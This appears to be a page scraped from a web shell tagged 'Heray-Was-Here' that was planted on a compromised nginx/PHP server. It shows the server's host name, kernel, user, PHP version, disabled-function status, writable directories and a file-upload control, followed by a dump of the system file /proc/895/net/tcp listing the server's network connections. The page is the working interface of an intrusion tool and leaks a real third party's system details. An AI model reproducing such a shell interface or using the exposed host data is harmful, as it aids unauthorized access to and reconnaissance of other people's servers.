Heray-Was-Here
Server : nginx/1.14.1
System : Linux hwsrv-1092325.hostwindsdns.com 4.18.0-553.5.1.el8.x86_64 #1 SMP Tue May 21 05:46:01 UTC 2024 x86_64
User : nginx ( 993)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/895/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/895/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 20025 2 0000000000000000 100 0 0 10 0                     
   1: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28487 1 0000000000000000 100 0 0 10 0                     
   2: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28488 1 0000000000000000 100 0 0 10 0                     
   3: ACC5AE6C:01BB A2D949D8:0883 06 00000000:00000000 03:00001536 00000000     0        0 0 3 0000000000000000                                      
   4: ACC5AE6C:01BB A2D949D8:7153 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
   5: ACC5AE6C:01BB A2D949D8:3943 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
   6: ACC5AE6C:01BB A2D949D8:FFD8 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
   7: ACC5AE6C:01BB A2D949D8:7E69 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
   8: ACC5AE6C:01BB A2D949D8:41DA 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
   9: ACC5AE6C:01BB A2D949D8:DB24 06 00000000:00000000 03:000001D0 00000000     0        0 0 3 0000000000000000                                      
  10: ACC5AE6C:01BB A2D949D8:063C 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
  11: ACC5AE6C:01BB A2D949D8:6292 01 00000000:00000000 00:00000000 00000000   993        0 19515772 2 0000000000000000 22 4 3 12 1828                
  12: ACC5AE6C:01BB A2D949D8:18CC 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
  13: ACC5AE6C:01BB A2D949D8:E1A8 06 00000000:00000000 03:000016F1 00000000     0        0 0 3 0000000000000000                                      
  14: ACC5AE6C:01BB A2D949D8:83D4 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
  15: ACC5AE6C:01BB A2D949D8:353C 06 00000000:00000000 03:00000904 00000000     0        0 0 3 0000000000000000                                      
  16: ACC5AE6C:01BB A2D949D8:13E7 01 00000000:00000000 00:00000000 00000000   993        0 19515774 1 0000000000000000 22 4 3 24 1828                
  17: ACC5AE6C:0016 9243C22D:A975 03 00000000:00000000 01:0000087A 00000005     0        0 0 0 0000000000000000                                      
  18: ACC5AE6C:01BB A2D949D8:B5F5 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
  19: ACC5AE6C:01BB A2D949D8:82E5 06 00000000:00000000 03:0000049E 00000000     0        0 0 3 0000000000000000                                      
  20: ACC5AE6C:01BB A2D949D8:BE08 06 00000000:00000000 03:00001358 00000000     0        0 0 3 0000000000000000                                      
  21: ACC5AE6C:01BB A2D949D8:AE44 06 00000000:00000000 03:00001504 00000000     0        0 0 3 0000000000000000                                      
  22: ACC5AE6C:01BB A2D949D8:3B35 06 00000000:00000000 03:00000569 00000000     0        0 0 3 0000000000000000                                      

Hry